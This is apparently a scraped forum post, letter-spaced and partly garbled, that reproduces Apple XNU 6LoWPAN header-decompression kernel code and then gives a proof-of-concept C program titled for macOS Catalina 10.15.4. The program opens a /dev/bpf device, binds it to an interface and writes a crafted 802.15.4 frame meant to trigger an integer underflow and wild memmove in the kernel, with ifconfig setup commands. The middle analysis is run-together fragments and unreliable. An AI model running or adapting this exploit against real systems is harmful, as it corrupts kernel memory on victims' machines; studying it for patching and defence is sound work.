) ;     * h d r l e n   =   U I P _ I P H _ L E N ;     / *   N e x t   h e a d e r   f i e l d   * /     s w i t c h   ( p a y l o a d [ P A C K E T B U F _ H C 1 _ E N C O D I N G ]   &   0 x 0 6 )   {     c a s e   S I C S L O W P A N _ H C 1 _ N H _ I C M P 6 :         i p 6 - > i p 6 _ n x t   =   I P P R O T O _ I C M P V 6 ;         i p 6 - > i p 6 _ h l i m   =   p a y l o a d [ P A C K E T B U F _ H C 1 _ T T L ] ;         * h d r o f f s e t   =   S I C S L O W P A N _ H C 1 _ H D R _ L E N ;         b r e a k ;     c a s e   S I C S L O W P A N _ H C 1 _ N H _ T C P :         i p 6 - > i p 6 _ n x t   =   I P P R O T O _ T C P ;         i p 6 - > i p 6 _ h l i m   =   p a y l o a d [ P A C K E T B U F _ H C 1 _ T T L ] ;         * h d r o f f s e t   =   S I C S L O W P A N _ H C 1 _ H D R _ L E N ;         b r e a k ;     c a s e   S I C S L O W P A N _ H C 1 _ N H _ U D P :         i p 6 - > i p 6 _ n x t   =   I P P R O T O _ U D P ;         i f   ( p a y l o a d [ P A C K E T B U F _ H C 1 _ H C _ U D P _ H C 1 _ E N C O D I N G ]   &   0 x 0 1 )   {             s t r u c t   u d p h d r   * u d p   =   ( s t r u c t   u d p h d r   * ) ( u i n t p t r _ t ) i p 6 ;             / *   U D P   h e a d e r   i s   c o m p r e s s e d   w i t h   H C _ U D P   * /             i f   ( p a y l o a d [ P A C K E T B U F _ H C 1 _ H C _ U D P _ U D P _ E N C O D I N G ]   ! =                     S I C S L O W P A N _ H C _ U D P _ A L L _ C )   {                 p r i n t f ( " s i c s l o w p a n   ( u n c o m p r e s s _ h d r ) ,   p a c k e t   n o t   s u p p o r t e d " ) ;                 r e t u r n   E I N V A L ;             }             / *   I P   T T L   * /             i p 6 - > i p 6 _ h l i m   =   p a y l o a d [ P A C K E T B U F _ H C 1 _ H C _ U D P _ T T L ] ;             / *   U D P   p o r t s ,   l e n ,   c h e c k s u m   * /             u d p - > u h _ s p o r t   =                     h t o n s ( S I C S L O W P A N _ U D P _ P O R T _ M I N   +   ( p a y l o a d [ P A C K E T B U F _ H C 1 _ H C _ U D P _ P O R T S ]   > >   4 ) ) ;             u d p - > u h _ d p o r t   =                     h t o n s ( S I C S L O W P A N _ U D P _ P O R T _ M I N   +   ( p a y l o a d [ P A C K E T B U F _ H C 1 _ H C _ U D P _ P O R T S ]   &   0 x 0 F ) ) ;             m e m c p y ( & u d p - > u h _ s u m ,   & p a y l o a d [ P A C K E T B U F _ H C 1 _ H C _ U D P _ C H K S U M ] ,   2 ) ;             * h d r l e n   + =   U I P _ U D P H _ L E N ;             * h d r o f f s e t   =   S I C S L O W P A N _ H C 1 _ H C _ U D P _ H D R _ L E N ;         }   e l s e   {             i p 6 - > i p 6 _ h l i m   =   p a y l o a d [ P A C K E T B U F _ H C 1 _ T T L ] ;             * h d r o f f s e t   =   S I C S L O W P A N _ H C 1 _ H D R _ L E N ;         }         b r e a k ;     d e f a u l t :         / *   t h i s   s h o u l d n ' t   h a p p e n ,   d r o p   * /         r e t u r n   E I N V A L ;     }     / *   I P   l e n g t h   f i e l d .   * /     i f   ( i p _ l e n   = =   0 )   {         s i z e _ t   l e n   =   f r a m e - > p a y l o a d _ l e n   -   * h d r o f f s e t   +   * h d r l e n   -   s i z e o f ( s t r u c t   i p 6 _ h d r ) ;         / *   T h i s   i s   n o t   a   f r a g m e n t e d   p a c k e t   * /         S E T 1 6 ( & i p 6 - > i p 6 _ p l e n ,   l e n ) ;     }   e l s e   {         / *   T h i s   i s   a   1 s t   f r a g m e n t   * /         S E T 1 6 ( & i p 6 - > i p 6 _ p l e n ,   i p _ l e n   -   U I P _ I P H _ L E N ) ;     }     / *   l e n g t h   f i e l d   i n   U D P   h e a d e r   * /     i f   ( i p 6 - > i p 6 _ n x t   = =   I P P R O T O _ U D P )   {         s t r u c t   u d p h d r   * u d p   =   ( s t r u c t   u d p h d r   * ) ( u i n t p t r _ t ) i p 6 ;
m b u f 4 0 I P v 6 * h d r l e n i p _ l e n 0 : ) l e n m e m m o v e ( ) . l e n 0 x 4 f r a m e 8 0 2 1 5 4 _ p a r s e c   h e a d e r   l e n g t h   =   3   f r a m e - > p a y l o a d _ l e n   =   1 S I C S L O W P A N _ H C 1 _ N H _ U D P u n c o m p r e s s _ h d r _ h c 1 * h d r o f f s e t   =   S I C S L O W P A N _ H C 1 _ H D R _ L E N ;     * h d r o f f s e t   =   3 * h d r l e n   =   U I P _ I P H _ L E N ;     * h d r l e n   =   4 0 s i z e o f ( s t r u c t   i p 6 _ h d r )   =   4 0   s i x x l o w p a n _ u n c o m p r e s s   p a y l o a d + 4 0 m c   m b u f p a y l o a d i e e e 0 2 1 5 4 h d r - > p a y l o a d _ l e n   -   3   =   - 2 P O C   1         m e m c p y ( & u d p - > u h _ u l e n ,   & i p 6 - > i p 6 _ p l e n ,   2 ) ;     }     r e t u r n   0 ; } / *           *   h d r o f f s e t   i s   t h e   s i z e   o f   t h e   c o m p r e s s e d   h e a d e r           *   - -   i . e .   w h e n   t h e   u n t o u c h e d   d a t a   s t a r t s           *           *   h d r l e n   i s   t h e   s i z e   o f   t h e   d e c o m p r e s s e d   h e a d e r           *   t h a t   t a k e s   t h e   p l a c e   o f   c o m p r e s s e d   h e a d e r   o f   s i z e   h d r o f f s e t           * /         m e m m o v e ( p a y l o a d   +   h d r l e n ,                 p a y l o a d   +   h d r o f f s e t ,                 i e e e 0 2 1 5 4 h d r - > p a y l o a d _ l e n   -   h d r o f f s e t ) ;         m e m c p y ( p a y l o a d ,   h d r b u f ,   h d r l e n ) ; / * * * A p p l e   X N U   6 L o w P A N   P O C C a t a l i n a   1 0 . 1 5 . 4 P O C   1 :   W i l d   m e m m o v e   t r i g g e r   w i t h   a n   u n d e r f l o w .   R u n   t h i s   o n   t a r g e t   m a c h i n e   ( o r   l o c a l   s y s t e m   i f   t e s t i n g   l o c a l l y ) : s u d o   i f c o n f i g   6 l o w p a n   c r e a t e s u d o   i f c o n f i g   6 l o w p a n 0   u p s u d o   i f c o n f i g   6 l o w p a n 0   6 l o w p a n s e t d e v   e n 0 * * * / # i n c l u d e   < s y s / t y p e s . h > # i n c l u d e   < s y s / u i o . h > # i n c l u d e   < u n i s t d . h > # i n c l u d e   < s t d l i b . h > # i n c l u d e   < s t d i o . h > # i n c l u d e   < f c n t l . h > # i n c l u d e   < s t r i n g . h > # i n c l u d e   < s y s / i o c t l . h > # i n c l u d e   < s y s / s o c k e t . h > # i n c l u d e   < a r p a / i n e t . h > # i n c l u d e   < n e t / i f . h > # i n c l u d e   < n e t / e t h e r n e t . h > # i n c l u d e   < n e t / b p f . h > / /   S e t   t h e s e   t o   s o u r c e   a n d   t a r g e t   u n s i g n e d   c h a r   d e s t _ m a c [ E T H E R _ A D D R _ L E N ]     =   { 0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 } ; u n s i g n e d   c h a r   s r c _ m a c [ E T H E R _ A D D R _ L E N ]     =   { 0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 } ; s t r u c t   f r a m e _ t   {     s t r u c t   e t h e r _ h e a d e r   h e a d e r ;
    u n s i g n e d   c h a r   p a y l o a d [ E T H E R _ M A X _ L E N   -   E T H E R _ H D R _ L E N ] ;     s s i z e _ t   l e n ;     s s i z e _ t   p a y l o a d _ l e n ; } ; / /   O p e n   b p f   d e v i c e i n t   o p e n _ b p f _ d e v i c e ( ) {     c h a r   b u f [ 1 1 ]   =   { } ;     i n t   b p f   =   0 ;     f o r ( i n t   i   =   0 ;   i   <   9 9 ;   i + + )     {         s p r i n t f ( b u f , " / d e v / b p f % i " , i ) ;         b p f   =   o p e n ( b u f , O _ R D W R ) ;         i f (   b p f   ! =   - 1   )   {             p r i n t f ( " O p e n e d   d e v i c e   / d e v / b p f % i n " ,   i ) ;             b r e a k ;           }     }     i f ( b p f   = =   - 1 )   {         p r i n t f ( " C a n n o t   o p e n   a n y   / d e v / b p f *   d e v i c e ,   e x i t i n g n " ) ;         e x i t ( 1 ) ;       }     r e t u r n   b p f ;   } / /   A s s o c i a t e   d e v i c e v o i d   a s s o c _ d e v ( i n t   b p f ,   c h a r *   i n t e r f a c e ) {     s t r u c t   i f r e q   b o u n d _ i f ;     s t r c p y ( b o u n d _ i f . i f r _ n a m e ,   i n t e r f a c e ) ;     i f ( i o c t l (   b p f ,   B I O C S E T I F ,   & b o u n d _ i f   )   >   0 )   {         p r i n t f ( " C a n n o t   b i n d   b p f   d e v i c e   t o   p h y s i c a l   d e v i c e   % s ,   e x i t i n g n " ,   i n t e r f a c e ) ;         e x i t ( 1 ) ;     }     p r i n t f ( " B o u n d   b p f   d e v i c e   t o   p h y s i c a l   d e v i c e   % s n " ,   i n t e r f a c e ) ; } / /   W r i t e   t r i g g e r   f r a m e v o i d   w r i t e _ s i n g l e _ f r a m e ( i n t   b p f )   {     s s i z e _ t   d a t a _ l e n g t h   =   3 2 ;     s t r u c t   f r a m e _ t   f r a m e ;     m e m c p y ( f r a m e . h e a d e r . e t h e r _ d h o s t ,   d e s t _ m a c ,   E T H E R _ H D R _ L E N ) ;     m e m c p y ( f r a m e . h e a d e r . e t h e r _ s h o s t ,   s r c _ m a c ,   E T H E R _ H D R _ L E N ) ;     / /     8 0 2 . 1 5 . 4   f r a m e   t y p e .       f r a m e . h e a d e r . e t h e r _ t y p e   =   0 x 9 0 8 ;     f r a m e . l e n   =   ( 2 * E T H E R _ A D D R _ L E N )   +   E T H E R _ T Y P E _ L E N   +   d a t a _ l e n g t h ;     / /   L e n g t h   o f   f r a m e   -   m e m c p y ( & l e n ,   m t o d ( m ,   u _ i n t 8 _ t   * ) ,   s i z e o f ( u _ i n t 1 6 _ t ) ) ;   l e n   =   n t o h s ( l e n ) ;     f r a m e . p a y l o a d [ 0 ]   =   0 ;     f r a m e . p a y l o a d [ 1 ]   =   4 ;     / /   T h i s   i s   t h e   s t a r t   o f   t h e   " d a t a "   p a s s e d   t o   f r a m e 8 0 2 1 5 4 _ p a r s e   a n d   c o n s i d e r e d   f r a m e   h e a d e r       / /   m _ a d j ( m ,   s i z e o f ( u _ i n t 1 6 _ t ) ) ;   m t o d ( m c ,   u i n t 8 _ t   * )     / /   T h e s e   a r e   u s e d   f o r   t h e   F C F   ( n o   f l a g s   s e t )     f r a m e . p a y l o a d [ 2 ]   =   0 ;     f r a m e . p a y l o a d [ 3 ]   =   0 ;     f r a m e . p a y l o a d [ 4 ]   =   0 ;     / /   A s   n o n e   F C F   a r e   s e t   p + = 3   b y t e s .       / /   h e a d e r   l e n g t h     / /   c   =   p   -   d a t a ;     / /   c   =   3     / /   p a y l o a d   l e n g t h     / /   p f - > p a y l o a d _ l e n   =   ( 4   -   3 ) ;     / /   p f - > p a y l o a d _ l e n   =   1     / /   T h i s   i s   t h e   s t a r t   o f   o u r   p a y l o a d   p a s s e d   t o   s i x x l o w p a n _ u n c o m p r e s s     f r a m e . p a y l o a d [ 5 ]   =   0 ;     f r a m e . p a y l o a d [ 6 ]   =   2 ;   / /   S I C S L O W P A N _ H C 1 _ N H _ U D P     / /   J u s t   p a d   t h e   f r a m e   w i t h   ' A ' .       f o r   ( i n t   j   =   7 ;   j   <   3 2 ;   j + + )   {         f r a m e . p a y l o a d [ j ]   =   0 x 4 1 ;         }           s s i z e _ t   b y t e s _ s e n t ;         b y t e s _ s e n t   =   w r i t e ( b p f ,   & f r a m e ,   f r a m e . l e n ) ;
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则